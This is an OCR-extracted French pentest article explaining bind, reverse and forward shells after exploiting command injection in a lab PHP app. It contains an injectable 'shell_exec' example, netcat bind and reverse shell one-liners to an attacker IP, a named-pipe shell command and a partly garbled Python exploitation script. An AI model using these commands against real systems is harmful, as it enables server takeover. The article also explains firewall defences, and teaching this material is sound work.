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Par Samuel CRETEUR

TLDR

De nos jours, les exécutions de code a distance ou RCE (Remote Code Execution) font partie
des attaques web les plus redoutées. Les risques qui en découlent sont critiques, car ce type de
vulnérabilité permet en somme une prise de contrdle du systeme et d'étre présent au sein du
réseau de la victime (selon le contexte du serveur : dédié, mutualisé, interne etc.).

Au sein de cet article, il sera expliqué :

« Ce gu'est un interpréteur de commandes interactif et pourquoi un attaquant nécessite ou
préfere son utilisation lorsqu'il dispose d'une vulnérabilité de type RCE.
S'en suivra une analyse de deux maniéeres d'obtenir un interpréteur en ligne de commandes
interactif avec une RCE et des options existantes pour contraindre son obtention a un
attaquant.
Enfin, il sera expligué une méthode spécifique appelée Forward shell qui peut étre mise en
place lorsque les deux autres font défaut.

Introduction

Contexte et termes

Avant de rentrer dans le vif du sujet, remettons quelques bases et un peu de contexte. Notre article
va aborder les post-exploitations dans le contexte de failles applicatives. En effet, lorsqu'un attaquant
parvient a exploiter une vulnérabilité au sein d'une application web, son objectif est tres souvent d'ob-

tenir un interpréteur de commandes sur I'h6te compromis afin de gagner en confort ou parce qu'il le
nécessite.
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Pour mieux comprendre ce qu'est un interpréteur de commandes, il convient d’expliquer les termes
techniques suivants :

Terme Définition ‘

Un terminal est un élément matériel permettant a un utilisateur d'interagir avec un
Terminal hote. Il s'agit souvent d'un clavier associé a un écran de texte. Actuellement, ils sont
souvent «émulés».

Sur les systemes Linux, tout fonctionne a l'aide de fichiers. Le fichier représentant un
terminal est appelé un fichier tty.

Un interprete de commandes est un programme qui interprete les commandes d'un
utilisateur via un terminal pour les envoyer au systeme d'exploitation sous-jacent.

Invité de commandes Interface utilisateur permettant d'insérer des commandes a la suite.

Tty (TeleTYpe)

Interprete de commandes

, , Un émulateur de terminal est un programme qui émule un terminal physique comme
Emulateur de terminal iTerm ou SSH

Ainsi, lorsqu’un invité de commandes est affiché sur un systéme Linux c'est en réalité un émulateur de
terminal, connecté a un terminal virtuel, identifié par un fichier tty, a l'intérieur duquel tourne un inter-
préteur de commandes.

Note Les exemples et principes présentés ne seront spécifiques qu'aux systemes Linux.

Un peu d'histoire...

C'est en 1960 qu'apparaissent les premiers périphériques permettant d’envoyer et recevoir des carac-
téres a un ordinateur. Avant leur apparition, les données étaient enregistrées pour étre ensuite en-
voyées par exemple via une carte perforée. Aucune communication n'intervenait alors entre 'lHomme
et la machine.

Des systéemes d’exploitation complets ont ensuite été développés tels que MS-DOS, le prédécesseur de
Windows. Il fonctionnait avec une interface graphique affichant seulement l'invité de commandes que
I'on connait aujourd’hui sous le nom de CMD, mais qui se nommait avant COMMAND.

De la méme maniére, Linux développait également ses propres interfaces en ligne de commandes avec
I'arrivée du Bourne shell (bsh) en 1977 qui sera remplacé par le Bourne-Again shell (bash) en 1989.

Ces différents interpréteurs de commandes permettent l'interprétation de chaque ligne saisie afin de la
traduire dans un langage adapté au systeme d'exploitation qui pourra ensuite exécuter la commande.

Historiquement, ces interfaces en ligne de commandes ont été concgues afin d'étre utilisées en local.
L'utilisateur souhaitant exécuter des commandes directement sur sa machine devait alors avoir un
acces physique a celle-ci.

Avec l'arrivée des protocoles SSH et Telnet, il est devenu possible de communiquer simplement a
distance avec un serveur via une interface de commandes, mais ils nécessitent souvent d'étre authen-
tifiés ou ne sont parfois simplement pas présents nativement sur les systemes. Un attaquant doit donc
étre en mesure de trouver d'autres solutions pour réaliser cet échange distant afin d’exécuter des com-
mandes sur un serveur.

Nous allons donc étudier les notions de web shell non interactif jusqu'a expliquer les concepts de Bind
shell, reverse shell et Forward shell grandement utilisés dans le cadre de nos tests d'intrusion.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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Web shell non interactif

Afin de comprendre pourquoi un attaquant nécessite un interpréteur en ligne de commandes interactif
lorsqu'il est parvenu a identifier une RCE, commencons par définir le principe d'interactivité.

Un interpréteur de commandes interactif permet d’exécuter des commandes a la suite et d'obtenir leur
sortie via un invité de commandes.

Il est ensuite fondamental d’expliquer comment les commandes sont interprétées et exécutées par le
serveur sous-jacent lors de I'exploitation d'une RCE.

Pour ce faire, prenons le code PHP vulnérable ci-dessous :

=P0OC RCE XMCO<

method="POST" action="poc.php
type="text" name="ip" placeholder="127.0.0.1 Code PHP vulnérable &
type="submit une RCE

<?php
if( ($_POST["ip"1) ($_POST["ip"]1)){
sresponse ("bash -c 'ping -c 3 _POST["ip"]
response;

Application web vulnérable a POC RCE XMCO X +
une RCE

A 172.16.10.61

127.0.0.1 || Envoyer |

Le formulaire prend en entrée une adresse IP renseignée par l'utilisateur et la fait passer dans la fonc-
tion PHP shell_exec (https://www.php.net/manual/fr/function.shell-exec.php). Cette derniére va exécu-
ter la commande ping a 'adresse communiquée directement via l'interpréete de commandes du serveur
Linux hébergeant I'application web.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



https://www.php.net/manual/fr/function.shell-exec.php

Cependant, l'entrée utilisateur n’est pas assainie avant d'étre insérée dans la fonction et un attaquant
peut donc échapper au contexte initial afin d’exécuter les commandes de son choix :

« = QO DO 127.0.0.1/poc.php

l127.0.0. l [ Envoyer ]

PING 127.1.@.1 (127.0.0.1) 56(84) bytes of data.
9Le caractére « ; » permet d’échapper au contexte initial

|du ping et d’exécuter n’importe quelle commande
1 packets transmitted, 1 received, 0% packet loss, time Oms

rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 _ms
uid=33(www-data) gid=33(www-data) groups=33(www-data”

[

Le résultat de la commande est affiché et celle-ci
s’est exécutée avec les droits « www-data »

Exploitation de la RCE

L'application web est ainsi vulnérable a une RCE et I'attaquant peut exécuter la commande de son choix
directement sur le serveur. Ici, la commande exécutée par le serveur est la suivante :
bash -c¢ ‘ping -c 1 127.0.0.1; id’

Ce que nous obtenons est donc un invité de commandes qui appelle I'interpréteur de commandes Bash.
Ceci est un exemple particulier d'exploitation d'exécution de commandes a distance. Le contexte per-
mettant la vulnérabilité changera selon l'architecture de I'application. De ce fait, la maniere de I'exploi-
ter variera également. Le résultat de la commande ne sera pas toujours affiché comme ici par exemple.
Cependant, le principe d’échapper au contexte initial d'une fonction pouvant exécuter des commandes
afin d'injecter du code malveillant restera fondamentalement le méme. A chaque commande envoyée
via le formulaire, I'interpréteur de commandes bash est appelé afin de 'exécuter.

Cela peut se traduire par la suite d’actions suivante :

L'utilisateur insére une
commande via l'entrée non
assainie

Linterpréteur de commandes Le processus de linterpréteur
est lancé via un processus de commandes est terminé

- La sortie de la commande est
La commande est exécutée affichée

Les différentes étapes impliquées lors de I'exploitation de la RCE

A l'aide de ce diagramme, il est déja possible de constater I'un des problémes majeurs que peut rencon-
trer un attaquant lors de l'exploitation d'une RCE. Chaque commande envoyée sera exécutée au sein
d’'un nouveau processus d'interpréteur de commandes.

Ainsi, en exécutant la suite de commandes suivante :

Commande But de la commande

cd .. Se déplacer vers le répertoire parent

pwd Afficher le répertoire actuel

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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L'application retournera le répertoire actuel de I'application sans jamais varier :

;pwd | | Envoyer ‘ S . : B
\ / L'application retourne le répertoire actuel de I'application
méme aprés une opération pour se déplacer vers un autre

Le répertoire actuel| rspertoire
de I'application

1

/var/www/html

Cela peut donc contraindre un attaquant qui souhaite se déplacer librement sur le systeme afin d'y
consulter les différents fichiers. La seule maniére de contournement est de chainer les commandes de
la maniére suivante :

;cd ..; pwd p——|Deux commandes
d d enchainées L'application retourne le répertoire parent aprés une opéra-

tion chainée pour se déplacer vers un autre répertoire
/var/ww |+ [Le répertoire parent de
I'application est affiché

L'interpréteur de commandes appelé via l'invité de commandes web n’est donc pas interactif, car il n'est
pas possible d'interagir avec celui-ci avec plus d'une commande a la suite.

Un autre probleme majeur concerne les commandes nécessitant une entrée utilisateur apres les avoir
appelées. Le tableau ci-dessous résume quelques-unes d'entre elles :

Commande But de la commande Requiert
passwd Changer le mot de passe de ['utilisateur actuel Le nouveau mot de passe
sudo -1 Afficher ce que l'utilisateur peut exécuter avecles  Le mot de passe de l'utilisateur
v droits sudo actuel
su -1 Basculer vers l'utilisateur root Le mot de paereOSe futilisateur

En effet, 'application web n’affiche que la sortie de la commande et lorsque celle-ci requiert une entrée
utilisateur, la commande ne se termine pas et ne dispose donc pas de sortie a afficher :

;sudo -1 ‘ ‘ Envoyer ‘

T L'application ne retourne aucune réponse lorsque la commande
requiert une entrée utilisateur

La commande est exécutée sur I'héte
mais elle ne retourne rien

En résumé, lors de I'exploitation d'une RCE, l'interpréteur de commandes appelé n'est pas interactif, car
celui-ci est terminé une fois qu'il a exécuté la commande renseignée par l'utilisateur.

Ici, 'application tourne avec les droits www-data et un attaquant souhaitera élever ses priviléges a root
afin de compromettre le serveur hébergeant I'application. Il est plus compliqué d'élever ses priviléges
avec les restrictions imposées par l'invité de commandes web actuel. C'est la raison pour laquelle un
attaquant souhaitera souvent obtenir un interpréteur de commandes interactif via un terminal lors de
I'exploitation d'une RCE.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




Bind shell

Le concept

La premiere méthode afin d'obtenir un interpréteur de commandes interactif apres I'exploitation d'une
RCE est appelée Bind shell.

Celle-ci consiste a lier un interpréteur de commandes a un port spécifique en écoute sur I'héte victime
et de s'y connecter depuis la machine attaquante :

L’attaquant envoie d’abord une commande via la RCE permettant de
mettre en écoute un port et d’'exécuter l'interpréteur de commandes
« bash » aprés la connexion a ce port

I

r
|ne -nvip <port=-e /bin/bash|
: Schéma d'un Bind shell
| nc -nv <ip-victimes <port> |
rF 9

Adresse IP de la machine attaquante : Adresse IP de la machine victime :
172.16.10.157 172.16.10.61

L’attaquant se lie ensuite au port en écoute et recoit I'interpréteur
de commandes « bash » s’exécutant sur la machine victime

Au sein de cet article, nous utilisons le binaire nc (netcat). Celui-ci est un outil en ligne de commandes
généralement présent de base sur les systemes Unix, Windows, et macOS X. Il permet de gérer les
connexions réseau de la machine afin de notamment mettre en écoute un port. Il est également pos-
sible d'utiliser cet utilitaire afin de se connecter a un port distant ou local.

Apres l'obtention de l'interpréteur de commandes, celui-ci ne sera pas encore totalement interactif, car
il ne s'exécute pas au sein d'un pseudoterminal. Cependant, les commandes renseignées seront exécu-
tées au sein du méme interpréteur de commandes contrairement a celles entrées via la RCE. Ainsi, il de-
vient possible d'obtenir un interpréteur de commandes interactif avec la commande python suivante :

python -c ‘import pty;pty.spawn(«/bin/bash»)’

Elle permet d’obtenir un nouvel interpréteur de commandes interactif bash en I'exécutant cette fois-ci
au sein d'un pseudoterminal émulé (pty) identifié par un fichier tty. La présence d'un pseudoterminal
est donc nécessaire a l'interactivité d'un interpréteur de commandes, car c'est lui qui permet réellement
d'interagir avec I'hote.

En reprenant notre exemple, I'attaquant commence par mettre en écoute le port sur la machine victime
via la RCE :

« > X QO DO 127.0.0.1/poc.php

inc -nvlp 4444 -e [bin/bash ‘ Envoyer | Mise en écoute du port 4444 sur la machine victime via la RCE
3

La commande suivante met en
écoute le port 4444

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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L'attaquant se connecte ensuite au port en écoute sur la machine victime et rend interactif I'interpré-
teur de commandes obtenu a l'aide de la commande Python citée précédemment :

INERHE) screteur@XMCO-SCR ...Documents/git/hashcat master X
$ nc -nv 172.16.10.61 4444
172.16.10.61 4444 (krb524) open
oython -c 'import pty;pty.spawn("/bin/bash")
-data@debian-poc:/var/. .»/html$ id
id | 'attaquant se connecte au port

uid=33(www-data) gid=33(www-data) groups=23(wv P : :
_data@debian-poc: /var /wm/htnls pad de la victime et rend interactif

owd I'interpréteur de commandes

/var/www/html
ugw—data@debian—poc:/var/ww/htm1$ cd .. L’attaquant peut se déplacer et
www-data@debian-poc: /var/wiw$ pwd exécuter toutes les commandes

owd . . .
/var /www sur la machine victime

-data@debian-poc:/var/www$ sudo -1
sudo -1

Ne trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for www-data: password-test

Sorry, try again.
[sudo] password for www-data:
Connexion au port en écoute de la victime

Bien que nous soyons parvenus a obtenir ce Bind shell interactif relativement facilement, cette tech-
nique est peu utilisée par les attaquants pour différentes raisons :

1. La machine ciblée doit étre exposée sur Internet ou sur le méme réseau que l'attaquant (hors scé-
nario de rebond) et aucune protection réseau ne doit étre présente ;

2. Le port a exposer ne doit pas étre utilisé par un service déja lancé (ou potentiellement bloqué par
le systéme) ;

3. Python (et le package pty) doivent étre présents sur le systeme ;
Si on expose un bind shell sur Internet, d'autres attaquants pourraient s'y connecter...

Dans I'exemple présenté, les machines attaquantes et victimes sont sur le méme réseau et

Al n‘ont aucune restriction de flux leur permettant de se joindre simplement.
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Les limitations...

De nos jours, lorsque I'on se rend sur un site web, il est rare que I'adresse IP associée au nom d’hote
contacté soit directement celle du serveur web auquel on accede. En effet, une architecture réseau mo-
derne simplifiée s'apparente plutét a I'exemple suivant :

DMZ Internet
L'interface du routeur vers Internet est la seule joignable par un utilisateur
externe au réseau de I'entreprise car elle dispose d’'une IP publigue

Routeur -
Pare-Feu

Reverse Proxy

Internet Utilisateur

Les autres serveurs ne sont pas joignables
directement par un utilisateur car ils
disposent uniguement d’IP privées

Serveyir web Réseau local Serveur web

"W

Exemple d'architecture réseau moderne

Ainsi, lorsqu’un utilisateur accéde a un serveur web, c'est uniguement grace a la table NAT configurée
préalablement sur les routeurs.

Le tableau ci-dessous représente un exemple de comment fonctionne une table NAT pour une requéte
HTTPS :

Protocole Interface source Port source |P destination Port destination

TCP Interface routeur Internet 443 <IP privée serveur web> 443

Ainsi, le routeur sait a quelle machine il doit relayer le paquet lorsqu'il arrive grace au port renseigné.

Afin d'obtenir un Bind shell, il est nécessaire d'utiliser un autre port que celui sur lequel tourne I'applica-
tion vulnérable. Le routeur ne relaiera donc pas le paquet vers le serveur vulnérable en renseignant un
autre port et celui-ci ne pourra donc pas étre directement contacté par un attaquant.

Afin de contourner ce probleme de NAT, une autre méthode existe appelée Reverse shell.

« Bien que nous soyons parvenus a obtenir
ce Bind shell interactif relativement facilement,
cette technique est peu utilisée par les attaquants
pour différentes raisons. »
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Bind shell, Reverse shell... et Forward shell

Reverse shell

Le concept

La seconde méthode, et la plus utilisée afin d’'obtenir un interpréteur de commandes interactif apres
I'exploitation d'une RCE, est appelée Reverse shell.

Celle-ci consiste a mettre en écoute un port sur la machine attaquante et de forcer la machine victime
a s'y connecter tout en liant un interpréteur de commandes.

nc -nvip <porb|

m i | nc -nv <ip-victime> <port> -e /bin/bash | g i

Adresse IP de la machine attaquante : Adresse IP de la machine victime :
172.16.10.157 172.16.10.61

Schéma d'un Reverse shell

A l'aide de cette méthode, le probléme de NAT est contourné, car il nest pas nécessaire de contacter di-
rectement le serveur vulnérable a la RCE. En forcant la victime a se connecter a la machine attaquante,
des regles de NAT particulieres peuvent étre configurées sur le routeur de I'attaquant afin de recevoir
I'interpréteur de commandes.

Il existe également des services cloud permettant de lier une IP privée a une adresse publique en fonc-
tion d'un port facilitant le travail des attaquants.

De la méme maniere que pour le Bind shell, I'interpréteur de commandes obtenu aprés cette méthode
ne sera pas interactif et il faudra également renseigner la commande python présentée précédemment
pour y remeédier.

En reprenant notre exemple, I'attaquant commence par mettre en écoute le port sur sa machine :

e R | ‘attaquant met en écoute un
port sur sa machine

L'attaquant force ensuite la machine victime a se connecter au port en écoute (4444) sur sa machine
via une commande envoyée a l'aide de la RCE :

inc -nv 172.16.10.157 4444 -e Jbin/bash| || Envoyer |
- \ J

L'attaquant peut alors rendre interactif 'interpréteur de commandes obtenu sur sa machine a l'aide de
la commande python citée précédemment et faire les mémes opérations que pour le Bind shell (voir
page suivante).
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17:23:00 RGN G I master X
$ nc -nvlp 4444

Connection from 172.16.10.122:52480
python -c 'import pty;pty.spawn("/bin/bash")'

A= daTagaED Tan-poc /var /WALy 10 L 'attaquant regoit I'interpréteur
L

B I T e T T R e ride commandes de la victime et
le rend interactif

sww-data@debilan-poc:/var/www/html$ pwd
owd

/var/www/html = L £ |
www-data@debian-poc:/var/www/html$ cd .. L’attaquant peut Se deplacer et Viigranqeuszz c()c:ﬁﬁeacter

f,ﬂw;',ata@debian_poc: Jvar/w$ pwd exécuter toutes les commandes |§ 2 sa machine via la RCE
sur la machine victime

-data@debian-poc:/var/www$ sudo -1
sudo -1

Ne trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for www-data: password-test

Sorry, try again.

Les limitations...

Bien que cette technique soit la plus utilisée par les attaquants, il est possible de bloquer son obtention
a l'aide de regles de pare-feu spécifiques.

Afin d'obtenir un Reverse shell, un attaquant a besoin que les flux sortants soient autorisés. De maniere
habituelle, ce sont les flux entrants qui sont particulierement restreints et les restrictions sur les flux
sortants sont plus permissives.

En prenant cet exemple d’architecture réseau minimaliste :

Routeur -
Serveur web Pare-Feu ~
Internet Utilisateur
Box Internet
DMZ Internet

Architecture réseau minimaliste

La table de pare-feu suivante permettrait de restreindre I'obtention d'un Reverse shell a un attaquant :

TCP Routeur Internet 443 <IP privée du serveur web> 443

Bloquer TCP * * * *

En effet, avec ces regles de pare-feu, uniquement les flux entrants HTTPS seraient autorisés et tous les
autres flux seraient bloqués ne permettant pas un attaquant d'obtenir un Reverse shell.

Il existe alors une autre méthode afin d’obtenir un interpréteur de commandes interactif lorsque les
deux autres manieres présentées ci-dessus ne peuvent étre implémentées.
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Le Forward shell

Concept du Named pipe

Avant de présenter cette derniére méthode, il est nécessaire d’expliquer le concept de Named Pipe.
Les Pipes permettent a différents processus d'interagir.

Prenons la commande suivante :
head -5 <file> | grep “s”

Lorsque l'interpréteur recevra cette commande, il s'arrétera avant le premier caractere pipe (|) et redi-
rigera la sortie de l'instruction head -5 en tant qu’entrée pour l'instruction grep. Ainsi, parmi les 5 pre-
mieres lignes du fichier, seules celles contenant le caractere s seront affichées par la console.

Les processus head et grep n‘ont pas été congus pour travailler ensemble, mais il est pourtant possible
de les utiliser ensemble a l'aide des Pipes.

L'exemple présenté est un Unamed Pipe. Dans ce cas-la, le Pipe n’existe qu'au sein du noyau et ne peut
pas étre accessible par l'interpréteur de commandes.

A linverse, les Named Pipes sont des fichiers qui sont directement accessibles comme n'importe quel
autre fichier. Ils sont créés avec la commande suivante :
mkfifo <name of named pipe file>

Créons un Named Pipe et écrivons une chaine de caractéeres a l'intérieur afin de mieux comprendre son
utilité :

IETEVEITID screteur@XMCO-SCR T s Ea———

$ mkfifo named_pipe_xmco Le « Named Pipe » est créé

Création d'un Named Pipe

14:37:24 JESESIMOCOEICERVE 0 2]l e processus est ici mis en
i echo "XMCO" > named_pipe_xmco attente

Le processus echo est ici bloqué, car le Named Pipe va attendre que I'entrée et la sortie soient connec-
tées. En lisant le contenu du Named Pipe créé, I'entrée et la sortie seront connectées et le processus
echo ne sera plus bloqué. La chaine de caractéres sera alors affichée en lisant le contenu du fichier :

screteur@XMco-SCR /tmp
$ echo "XMCO" > named_pipe_xmco

En lisant le contenu du fichier « Named Pipe » f§ Création d'un Named Pipe
le processus d’écriture n’est plus bloqué et la

chaine de caracteres est affichée

14:50:58 screteur@XMCO-SCR _ /tmp

$ cat named_pipe_xmco
XMCO

ftmp (-zsh)

En sachant désormais ce qu'est un Named Pipe, il devient possible de réfléchir a la réalisation d'un interpréteur
de commandes interactif sur la base de la commande suivante :
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La sortie et les potentielles erreurs du
résultat de I'exécution sont redirigées
vers le fichier « tmp/output »

v
$> tail -f /tmp/input | /bin"/lbash 2>&1 > /tmp/output

La derniére ligne de ce « Named
Pipe » est récupérée

Celle-ci est pipée et exécutée par l'interpréteur
de commandes « bash »

Commande permettant de créer la base d’'un interpréteur de commandes basique interactif

Ainsi, le Named pipe /tmp/input agira comme un interpréteur de commandes et leur sortie pourra étre
consultée via le fichier /tmp/output :

16:24:57 screteur@XMC0-SCR /tmp 2
$ mkfifo /tmp/input; tail -f /tmp/input | /bin/bash 2>&1 > /tmp/output

La commande pour créer la base de l'interpréteur de commandes

ITXPIILSEp screteur@XMC0-SCR /EMp
$ echo "whoami" > /tmp/input

Création de la base d'un interpré-
teur de commandes interactif avec

mm <« mi » I
16:26:49 screteu @XCDS\.

screteur est récupérée via le fichier /imp/output

De plus, l'interpréteur de commandes est interactif, car les commandes s'exécutent toutes au sein d'un
méme fichier et donc, au sein du méme interpréteur de commandes :

$ echo "python -c 'import pty;pty.spawn(\"/bin/bash\")'" > /tmp/input

screteur@XMC0-SCR J J/Emp

$ cat /tmp/output

The default interactive shell is now zsh.

To update your account to use zsh, please run ‘chsh -s /bin/zsh’.

For more details, please visit https://cupport.apple.com/kb/HT208050.
bash-3.2$ 2

crreteur@XMC0-SCR Jtmp IR EED

$ echo "cd .." > /tmp/input "
L'interpréteur de commandes Création de la base d'un interpré-
17:29:52 t XMCO-S( A . . teur de commandes interactif avec
i w A a DUt Stre rendu interactif o oo P

screteur@XMC0-SCR J/npI"iumEl)

$ cat /tmp/output

The default interactive sheil is now zsh.

To update your account to use zsh, please run “chsh -s /bin/zsh’.

For more details, p.ease visit https://support.apple.com/kb/HT208050.
bash-3.2$% cd ..

bash-3.2% pwd

/

Etant donné que linterpréteur réalisé en local sur notre machine attaquante & I'aide de Named Pipes
peut étre interactif, il peut également I'étre via une session HTTP ou chaque commande entrée via la
RCE sera envoyée au fichier Named Pipe input. Puisque le résultat de chaque commande nous est re-
tourné dans le cadre de notre exemple, il est possible de se baser sur celle-ci pour la lecture du fichier
output.
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Bind shell, Reverse shell... et Forward shell

Il est désormais temps de voir comment il est possible d'implémenter cette méthode via une RCE en
reprenant notre exemple.

Cette méthode est appelée Forward shell et a été découverte par IppSec. Il a par la méme occasion réali-
sé un outil permettant de réaliser un interpréteur de commandes interactif via cette méthode : https://
github.com/IppSec/forward-shell

L'exploitation du Forward shell

Le but ici va étre de créer un script. Ce script reposera sur les 3 fonctions suivantes :

+ La premiére permet la création d'un interpréteur de commandes interactif basique avec un Named
Pipe sur le systeme en reprenant la commande présentée précédemment.

+ Laseconde fonction doit permettre d'insérer des commandes qui seront envoyées au Named Pipe.
+ Enfin, la derniére doit permettre de récupérer la sortie de la commande.

Celles-ci peuvent étre résumées au sein du schéma suivant :

Requéte HTTP pour créer la base d'un interpréteur de commandes

" mkfifo tmp/input; tail -f | La base d'un interpréteur de
Amp/input | /bin/bash 2>& > > commandes est créée sur le serveur a
1 > /tmp/output I'aide du concept de "Named Pipe"

Requéte HTTP pour insérer des commandes au sein du "Named Pipe"
o I

{$cmd} est envoyée vers le "Named
Pipe" ftmp/input

Cette commande est lue par
l'instruction "tail" et est exécutée par
l'interpréteur de commandes "bash"

|

La sortie de la commande est redirigée
vers le fichier fmp/output

echo "{$cmd}" > /tmp/input >

Requéte HTTP pour lire la sortie de la commande

“
\

La sortie de la commande est

cat tmp/output g retournée a l'utilisateur

M vy

Schéma des 3 fonctions générales au sein du script
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Ces 3 fonctions ont un but différent, mais elles requierent toutes d'envoyer une commande via la RCE
identifiée. Ainsi, une fonction sera consacrée a I'envoi de commandes pour la premiere et derniere
fonction. La fonction permettant d'insérer les commandes directement au sein du Named Pipe via la
RCE se suffira ainsi a elle-méme.

Afin de construire ces fonctions, il est possible d’examiner la requéte permettant d’exécuter du code
a l'aide d’'un proxy HTTP tel que Burp Suite, mitmproxy ou Zap dans le but de pouvoir la retranscrire au
sein d'un script :

Request = Response m -im
Pretty Raw Hex _a meth Ode n = Pretty Raw Hex Render = IR
1 A 1 HTTP/1.1 288 0K
2 Host: 172.16.10.6 d I t 2 Date: Thu, @1 Sep 2822 88:54:23 GMT
3 User-Agent: Mozil e a reque e X 3 Server: Apache/2.4.54 (Debian)
18.15; rv:104.8) Gecko/20100101 Firefox/104.0 4 Vary: Accept-Encoding
4 Accept: 5 Content-Length: 321
text/html,application/xhtml+xml,application/xml;q=0.9,im 6 Connection: close
age/avif, image/webp,*/%;q=0.8 7 Content=Type: text/html; charset=UTF-8
5 Accept-Language: fr,fr-FR;g=0.8,en-U5;q=0.5,en;q=0.3 8
6 Accept-Encoding: gzip, deflate 9 <html>
7 Referer: http://172.16.10.61/poc.ohp 18 <head>
8 Content-Type: ap a | 11 <title>
9 Content=Length: Le parametre POC RCE XMCO
L@ Origin: http:// </title>
L1 DNT: 1 L4 12 </head>
12 Connecti clos VUInerabIe 13 <body>
L3 Upgr, nsecure= SISt T 14 <form method="POST" action="poc.php">
L4 15 <input type="text" name="ip" placeholder="
L5 ;id 127.8.0.1" size="30@">
L6 16 <input type="submit"=
L7
§:] =/form=
L9 <pre=>
i) 17 uid=33(www-data) gid=33(www-data)
11 groups=33(www-data)
12 18 =fpre=
3
14 =</body>
15 19 </html>
= el

Requéte permettant d'exploiter la RCE interceptée via l'outil Burp Suite

L'exploitation de la RCE se fait donc a via I'envoi d'une requéte POST et de la variable ip contenant notre
charge utile.

Nous devons donc réaliser les 4 fonctions suivantes :

1. send_cmd : Processus d’envoi de commandes simple via la RCE

2. create_shell: Création de l'interpréteur de commandes basique

3. write_cmd : Processus d’envoi de commandes au sein du Named Pipe via la RCE
4. read_cmd : Lecture de la sortie de la derniere commande exécutée

Expliquons alors le code de chaque fonction composant notre script:

1.send_cmd

requests
re

url http://172.16.10.61/poc.php

(cmd):

myobj = {'ip ; cmd}

result = requests (url, data = myobj, timeout = 2)
result.text

Fonction send cmd
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Cette fonction prend en parametre la commande que I'on souhaite envoyer. Elle permet ainsi d'envoyer
une requéte POST avec la charge utile ; {$cmd} permettant d'exécuter du code sur le serveur. L'ajout du
parametre timeout est treés important, car lors de la création du Named Pipe, le serveur ne répond pas
et la requéte réalisée ne se termine jamais malgré I'exécution de la commande.

2. create_shell
():
NamedPipes mkfifo /tmp/input; tail -f /tmp/input | /bin/bash 2>&1 > /tmp/output
ERy=
(NamedPipes)
except:

return

Fonction create_shell

Cette fonction sert simplement a envoyer la commande permettant de créer l'interpréteur de com-
mandes basique a l'aide de la fonction présentée ci-dessus. L'ajout d'une exception est nécessaire, car
comme évoqué précédemment, le retour de la fonction send_cmd lors de la création du Named Pipe
sera un timeout forcé de la requéte.

3. write_cmd :

(cmd):
myobj {'ip ;echo cmd " > /tmp/input'} Fonction write_cmd
result = requests (url, data = myobj)
result

Cette fonction reprend le méme principe que la premiere en prenant en parameétre la commande pour
I'envoyer via une requéte POST. Cependant, au lieu de simplement exécuter la commande regue, la
fonction permet de I'écrire au sein du Named Pipe a 'aide du programme echo.

4. read_cmd:

():
GetOutput /bin/cat /tmp/output ' o
output (GetOutput) Fonction read_cm
output

La derniére fonction permet d’envoyer la commande pour lire le fichier output en utilisant le binaire
cat. Cette instruction est ensuite envoyée a la fonction send_cmd. Elle retourne alors le résultat de la
réponse HTTP retournée par le serveur contenant le résultat de la lecture du fichier output.

Toutes les fonctions étant présentées, il convient désormais de présenter le main du script (voir page
suivante).
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if __name__ main
()
clear_output truncate
prompt
upgrade python =c
(upgrade)

while H
cmd (prompt)
(cmd)
result_cmd ()
result_cmd_parsed re. ("(7< (7] -) ', result_cmd, flags=re.DOTALL)
list_result result_cmd_parsed.
for i in (2, (list_result)):
(")
if i (len(list_result) - 1):
{"\n")
(list_result[i],end )
(clear_output)

Le main du script

La premiére instruction est de créer linterpréteur de commandes basique en appelant la fonction
create_shell (cf. 1).

Ensuite, en raison de l'utilisation du méme fichier pour stocker le résultat de I'exécution des commandes
envoyeées, il est nécessaire de définir une instruction afin de vider ce fichier (cf. 2). Cela permet de n’af-
ficher que I'exécution de la derniére commande envoyée.

Puis, linterpréteur de commandes obtenu est rendu totalement interactif avec I'envoi de la commande
python (cf. 3).

Une boucle est par la suite définie pour permettre a l'utilisateur d’'envoyer des commandes via un invité
de commandes basique (cf. 4). Celles-ci sont envoyées a la fonction write_cmd (cf. 5) et leur résultat est
affiché grace a la fonction read_cmd (cf. 6). Du fait que I'on se base sur la réponse HTTP du serveur pour
afficher la sortie de la commande, une recherche de chaine de caracteres basée sur une expression
réguliere (regex) est définie afin de n'afficher que le résultat de la commande et non la réponse HTTP
entiere (cf. 7). Une fois la réponse affichée, le fichier output est vidé (cf. 8).

Il faut savoir que la maniére d'exploiter une RCE variera selon les cas et les fonctions permettant d’en-
voyer une commande seront donc a modifier selon le contexte de la vulnérabilité. De la méme maniére,
I'affichage de la réponse d’exécution de la commande ne sera pas affichée de la méme maniere et I'ex-
pression réguliére devra ainsi étre modifiée.

Le script exécuté permet ainsi d'obtenir un interpréteur de commandes basique interactif uniquement
via une session HTTP :

NRLTRETEP X  screteur@MacBook-Pro-de-Samuel 2 ...git/xm-screteur/10-ACTUSECU
$ python script_farward_shell_py L,attaquant peut Se déplacer et
exécuter toutes les commandes
sur la machine victime

sww-data@debian-poc:/var/www/html$ cd ..

L'interpréteur de commandes

- obtenu apreés I'exécution du
www-data@debian-poc:/var/www$ sudo -1 script est interactif

Matching Defaults entries for www-data on debian-poc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on debian-poc:
(root) NOPASSWD: /usr/bin/php

-data@debian-poc:/var/www$

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




.,11111111111111 — ! _mmmmw_
010 131313300003003003033’1|1 ‘
210l PENET

DOSSIER PENTEST |RERGLAISY
o 00000000000¢

Bind shell, Reverse shell... et Forward shell

Le tableau suivant résume les différentes valeurs du parametre ip pour les différentes requétes HTTP
envoyées dans l'ordre :

ced .. Déplacement vers le répertoire parent

pwd Affichage le répertoire actuel

;mkfifo /tmp/input; tail -f /tmp/in- Création de linterpréteur de commandes a l'aide de named
put | /bin/bash 2>&1 > /tmp/output pipe
